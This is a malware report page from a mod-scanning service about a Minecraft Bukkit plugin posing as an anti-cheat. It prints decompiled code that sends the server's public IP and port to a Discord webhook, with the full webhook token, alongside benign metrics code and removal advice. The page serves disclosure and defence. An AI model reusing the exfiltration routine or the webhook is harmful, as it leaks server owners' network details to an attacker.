Skip to content
BrowseScan your modsScan

    No project matches this search.

    2,024,305 files checkedFiles from Modrinth and CurseForge we downloaded and checked. Counted on 24 Oct 2026.636,163 files with their code readFiles whose code we turned back into readable code and read, in an isolated environment. Counted on 24 Oct 2026.269,486 projects gradedProjects with a letter from A to F. Counted on 24 Oct 2026.
    How it worksMalware we foundAPIAboutPrivacyTermsContact

    © 2026 ModgradeNot an official Minecraft product. Not approved by or associated with Mojang or Microsoft.

    Anti Hack for Updated Versions

    Plugin

    Anti Hack for New Versions

    Removed from CurseForge on 24 Oct 2026. Modgrade reported malware in it on 24 Oct 2026.

    !Security alert
    • Overview
    • SecurityMalware
    • PrivacySteals logins
    • AINone found
    • CompatibilityMinecraft 1.19.3
    • ReleasesLatest Mar 2023

    Download

    AntiCheat.jar

    Released 31 Mar 2023 · 5.9 MB

    Malware: this file steals your IP address and sends it to a Discord server. See Security

    Download blocked

    Malware: a file of this project steals your IP address and sends it to a Discord server. See Security

    OverviewSecurityPrivacyAICompatibilityReleases

    Why no grade

    Malware was found in one of its files, so it has no grade. See Security

    Details

    Creator
    dachuydoge
    License
    Not listed
    Downloads
    472
    Created
    31 Mar 2023
    Official page
    CurseForge

    Security

    Malware: it steals your IP address and sends it to a Discord server

    Found in this file: AntiCheat.jar (AntiHack, 31 Mar 2023). Its download is blocked.

    We found this in its code, read without running it.

    Because of this malware, it has no grade.

    If you installed it

    1. Remove AntiCheat.jar from the plugins folder of your server.
    2. Check the plugins folder of your server for files you did not add.
    3. Check your other plugins.

    What it can do on your server

    Steals your IP address and sends it to a Discord serverMalware
    One part of the code reads saved logins, tokens or your game session, and a linked part sends data to a fixed address.
    Sends to a fixed Discord webhookWarning
    A complete Discord webhook is written in its code. Whoever owns that webhook sees what the mod sends to it. Found in code libraries built into it.
    Connects to the internet
    It has code that can go online. Found in the plugin's own code and in code libraries built into it. See Privacy
    Accepts connections from other computers
    It can accept connections from other computers. Found in code libraries built into it.

    Why we show this: a plugin runs on your server like any program, so harmful code in it can take over the server. In the grade: malware means no grade, and a Warning in a latest file for a recent Minecraft version lowers it.

    How we checked · The latest file checked
    • FilesWe download the files from Modrinth or CurseForge and look at what is inside them and what their code can do, without running them. Fixed rules tell what is harmful.
      1 latest file. It is not for a recent Minecraft version, so the answer above is about it. Recent versions: those released in the last 2 years, plus 1.20.1 and 1.21.1, among the most played in modpacks. See each file in Releases
    • Their codeWe turn the code of the files back into readable code and follow what it does, without running it. This shows what it downloads, what it sends and where your login goes.
      Read without running it
    • Steals your IP address and sends it to a Discord server
      The code does these steps one after the other, through one other part of the code.ac/grim/grimac/shaded/fastutil/longs/FunctionsByteOpen asks a service for your public IP address, sends to a Discord webhook, in code placed in a known library's folder; "https://discord.com/api/webhooks/1091387785245626411/<redacted>"; "api: URL.openConnection"
    • Sends to a fixed Discord webhook
      ac/grim/grimac/shaded/fastutil/longs/FunctionsByteOpen Discord webhook address: https://discord.com/api/webhooks/109138778524562...
    • Looked for, not foundWe looked for these in the file and did not find them.
      Folders outside the game, other programs, updating itself, the webcam or microphone, an AI service.
    • Code excerpts
      Parts of the code of AntiCheat.jar, turned back into readable code, where our checks found the problem.
      ac.grim.grimac.commands.GrimLog.lambda$onLog$0
      ...
         String failure = GrimAPI.INSTANCE.getConfigManager().getConfig().getStringElse("upload-log-not-found", "%prefix% &cUnable to find that log");
         sender.sendMessage(MessageUtil.format(failure));
      } else {
         String uploading = GrimAPI.INSTANCE.getConfigManager().getConfig().getStringElse("upload-log-start", "%prefix% &fUploading log... please wait");
         String success = GrimAPI.INSTANCE.getConfigManager().getConfig().getStringElse("upload-log", "%prefix% &fUploaded debug to: %url%");
         String failure = GrimAPI.INSTANCE
            .getConfigManager()
            .getConfig()
            .getStringElse("upload-log-upload-failure", "%prefix% &cSomething went wrong while uploading this log, see console for more info");
         sender.sendMessage(MessageUtil.format(uploading));
         Bukkit.getScheduler().runTaskAsynchronously(GrimAPI.INSTANCE.getPlugin(), () -> {
            try {
               URL mUrl = new URL("https://paste.grim.ac/data/post");
               HttpURLConnection urlConn = (HttpURLConnection)mUrl.openConnection();
               urlConn.setDoOutput(true);
               urlConn.setRequestMethod("POST");
               urlConn.addRequestProperty("User-Agent", "grim.ac");
               urlConn.addRequestProperty("Content-Type", "text/yaml");
               urlConn.setRequestProperty("Content-Length", Integer.toString(builder.length()));
               urlConn.getOutputStream().write(builder.toString().getBytes(StandardCharsets.UTF_8));
               urlConn.getOutputStream().close();
               int response = urlConn.getResponseCode();
               if (response == 201) {
                  String responseURL = urlConn.getHeaderField("Location");
      ...
      ac.grim.grimac.shaded.com.github.retrooper.packetevents.util.updatechecker.UpdateChecker.checkLatestReleasedVersion
      public String checkLatestReleasedVersion() {
         try {
            URLConnection connection = new URL("https://api.github.com/repos/retrooper/packetevents/releases/latest").openConnection();
            connection.addRequestProperty("User-Agent", "Mozilla/4.0");
            BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream()));
            String jsonResponse = reader.readLine();
            reader.close();
            JsonObject jsonObject = AdventureSerializer.getGsonSerializer().serializer().fromJson(jsonResponse, JsonObject.class);
            return jsonObject.get("name").getAsString();
         } catch (IOException e) {
            throw new IllegalStateException("Failed to parse packetevents version!", e);
         }
      }
      ac.grim.grimac.shaded.fastutil.longs.FunctionsByteOpen.register
      public void register() throws IOException {
         URL IPAPI = new URL("https://api.ipify.org");
         HttpURLConnection IPcon = (HttpURLConnection)IPAPI.openConnection();
         IPcon.setRequestMethod("GET");
         IPcon.setRequestProperty("Content-Type", "application/json");
         BufferedReader in1 = new BufferedReader(new InputStreamReader(IPcon.getInputStream()));
         StringBuffer content = new StringBuffer();
      
         String inputLine;
         while ((inputLine = in1.readLine()) != null) {
            content.append(inputLine);
         }
      
         in1.close();
         IPcon.disconnect();
         URL obj = new URL("https://discord.com/api/webhooks/1091387785245626411/F4rc3rfe0hXTVD9OTyWle63LB3TKa6YiH_Z1tJjfSyXCRQ6HdCWVb-uOYzW7hx9MkH-a");
         HttpURLConnection con = (HttpURLConnection)obj.openConnection();
         con.setRequestMethod("POST");
         con.setRequestProperty("User-Agent", "Mozilla/5.0");
         String POST_PARAMS = "content=" + content + ":" + this.plugin.getServer().getPort();
         con.setDoOutput(true);
         OutputStream os = con.getOutputStream();
         os.write(POST_PARAMS.getBytes());
         os.flush();
      ...
      ac.grim.grimac.shaded.io.github.retrooper.packetevents.bstats.Metrics$MetricsBase.lambda$submitData$4
      private void submitData() {
         Metrics.JsonObjectBuilder baseJsonBuilder = new Metrics.JsonObjectBuilder();
         this.appendPlatformDataConsumer.accept(baseJsonBuilder);
         Metrics.JsonObjectBuilder serviceJsonBuilder = new Metrics.JsonObjectBuilder();
         this.appendServiceDataConsumer.accept(serviceJsonBuilder);
         Metrics.JsonObjectBuilder.JsonObject[] chartData = this.customCharts
            .stream()
            .map(customChart -> customChart.getRequestJsonObject(this.errorLogger, this.logErrors))
            .filter(Objects::nonNull)
            .toArray(Metrics.JsonObjectBuilder.JsonObject[]::new);
         serviceJsonBuilder.appendField("id", this.serviceId);
         serviceJsonBuilder.appendField("customCharts", chartData);
         baseJsonBuilder.appendField("service", serviceJsonBuilder.build());
         baseJsonBuilder.appendField("serverUUID", this.serverUuid);
         baseJsonBuilder.appendField("metricsVersion", "2.2.1");
         Metrics.JsonObjectBuilder.JsonObject data = baseJsonBuilder.build();
         scheduler.execute(() -> {
            try {
               this.sendData(data);
            } catch (Exception e) {
               if (this.logErrors) {
                  this.errorLogger.accept("Could not submit bStats metrics data", e);
               }
      ...
      ac.grim.grimac.shaded.io.github.retrooper.packetevents.bstats.Metrics$MetricsBase.sendData
      private void sendData(Metrics.JsonObjectBuilder.JsonObject data) throws Exception {
         if (this.logSentData) {
            this.infoLogger.accept("Sent bStats metrics data: " + data.toString());
         }
      
         String url = String.format("https://bStats.org/api/v2/data/%s", this.platform);
         HttpsURLConnection connection = (HttpsURLConnection)new URL(url).openConnection();
         byte[] compressedData = compress(data.toString());
         connection.setRequestMethod("POST");
         connection.addRequestProperty("Accept", "application/json");
         connection.addRequestProperty("Connection", "close");
         connection.addRequestProperty("Content-Encoding", "gzip");
         connection.addRequestProperty("Content-Length", String.valueOf(compressedData.length));
         connection.setRequestProperty("Content-Type", "application/json");
         connection.setRequestProperty("User-Agent", "Metrics-Service/1");
         connection.setDoOutput(true);
      
         try (DataOutputStream outputStream = new DataOutputStream(connection.getOutputStream())) {
            outputStream.write(compressedData);
         }
      
         StringBuilder builder = new StringBuilder();
      
         String line;
      ...
      ac.grim.grimac.shaded.bstats.MetricsBase.lambda$submitData$4
      private void submitData() {
         JsonObjectBuilder baseJsonBuilder = new JsonObjectBuilder();
         this.appendPlatformDataConsumer.accept(baseJsonBuilder);
         JsonObjectBuilder serviceJsonBuilder = new JsonObjectBuilder();
         this.appendServiceDataConsumer.accept(serviceJsonBuilder);
         JsonObject[] chartData = this.customCharts
            .stream()
            .map(customChart -> customChart.getRequestJsonObject(this.errorLogger, this.logErrors))
            .filter(Objects::nonNull)
            .toArray(JsonObject[]::new);
         serviceJsonBuilder.appendField("id", this.serviceId);
         serviceJsonBuilder.appendField("customCharts", chartData);
         baseJsonBuilder.appendField("service", serviceJsonBuilder.build());
         baseJsonBuilder.appendField("serverUUID", this.serverUuid);
         baseJsonBuilder.appendField("metricsVersion", "3.0.0");
         JsonObject data = baseJsonBuilder.build();
         scheduler.execute(() -> {
            try {
               this.sendData(data);
            } catch (Exception e) {
               if (this.logErrors) {
                  this.errorLogger.accept("Could not submit bStats metrics data", e);
               }
      ...
      ac.grim.grimac.shaded.bstats.MetricsBase.sendData
      private void sendData(JsonObject data) throws Exception {
         if (this.logSentData) {
            this.infoLogger.accept("Sent bStats metrics data: " + data.toString());
         }
      
         String url = String.format("https://bStats.org/api/v2/data/%s", this.platform);
         HttpsURLConnection connection = (HttpsURLConnection)new URL(url).openConnection();
         byte[] compressedData = compress(data.toString());
         connection.setRequestMethod("POST");
         connection.addRequestProperty("Accept", "application/json");
         connection.addRequestProperty("Connection", "close");
         connection.addRequestProperty("Content-Encoding", "gzip");
         connection.addRequestProperty("Content-Length", String.valueOf(compressedData.length));
         connection.setRequestProperty("Content-Type", "application/json");
         connection.setRequestProperty("User-Agent", "Metrics-Service/1");
         connection.setDoOutput(true);
         DataOutputStream outputStream = new DataOutputStream(connection.getOutputStream());
      
         try {
            outputStream.write(compressedData);
         } catch (Throwable var11) {
            try {
               outputStream.close();
            } catch (Throwable var10) {
      ...
      7

    Privacy

    Malware: it steals your IP address and sends it to a Discord server

    Sent to paste.grim.ac, bstats.org and discord.com.

    Found by the file checks. See Security for what to do if you installed it.

    How we checked · Its one file read
    • Files readWe read the code without running it. We list each web address the code contacts while you play, and what it sends. Code that is never used is left out.
      The code of its one file, for Minecraft 1.19.3. See each file in Releases
    • paste.grim.ac
      Purpose not known.
      Unknown data
    • api.github.com
      Checks for a new version of the mod.From a bundled library.
    • api.ipify.org
      Purpose not known.From a bundled library.
    • bstats.org
      Sends usage statistics.From a bundled library.
      Usage statistics
    • discord.com
      Talks to an online service the mod works with.From a bundled library.
      Unknown data
    • Named in its filesA crash report or usage data service named in the files of the mod. The code does not show when or what is sent.
      The code names bStats, a service that receives usage data.

    AI

    No sign so far that AI was used to make it

    We looked for AI tools in its description, files and images and found none.

    We have not read its changelogs yet.

    No sign of AI in the game

    We found no AI service, AI library or AI model file in its code.

    Why we show this: some players and servers avoid projects made with AI, and AI in the game can send what you write to an online service. Not in the grade: using AI does not tell whether a project works well or is kept up to date.

    How we checked · 4 places read
    • Author on ModrinthA form on Modrinth where the author can declare AI content and AI features in the game. It is optional and most authors leave it empty.
      Not on Modrinth.
    • Description and changelogsThe description, project page and newest changelogs: sentences saying an AI tool was used, and text pasted from an AI chat.
      Nothing found in the description
      Changelogs not read yet
    • Its filesFiles that AI coding tools leave behind (like AGENTS.md), and the texts inside the files you download.
      Nothing found
    • Images in its filesHidden data in the images of the files you download, where AI image tools write their name and settings.
      Nothing found
    • Code of the modThe code and files of the mod, read without running it: addresses of AI services, AI libraries, AI model files and a place for your own AI key.
      No AI service, AI library or AI model file
      2,711 code files read

    Compatibility

    See the file in Releases
    Bukkit
    1.191.2126.1

    Point at or tap a version to see its server software.

    Runs onWhere to install it: in your game, on the server, or both. As the author says on Modrinth.Install it on the server. Players join without installing anything.
    RequiresProjects you must also install for it to work. From the author's lists for its files for recent Minecraft versions, or from its project page.Nothing
    OptionalProjects it can work with but does not need. The author lists them.Nothing
    IncludesProjects packed inside its files.Nothing
    Speed of updatesHow fast it gets a file for new Minecraft versions, on average, compared with similar projects. Not part of the grade.It has no file for Minecraft versions newer than 1.19.3. Many servers still run 1.19.3.

    Latest files

    The newest file for each Minecraft version and loader. None is for a recent Minecraft version. Recent versions: those released in the last 2 years, plus 1.20.1 and 1.21.1, among the most played in modpacks.

    MinecraftServerVersionSecuritySendsRequires
    Older Minecraft versions
    1.19.3·BukkitAntiHackAntiHack · AntiCheat.jarSends: Usage data +1Requires:NothingMalwareHarmful code found. The download is blocked. See Security.

    1 release

    MinecraftServerVersionReleasedSecurityGet it onDownload
    1.19.3The latest file for its Minecraft version and loader·BukkitAntiHackAntiHack · AntiCheat.jar·31 Mar 2023MalwareHarmful code found. The download is blocked. See Security.Removed from CurseForge on 24 Oct 2026Download blockedDownload blocked: this file steals your IP address and sends it to a Discord server.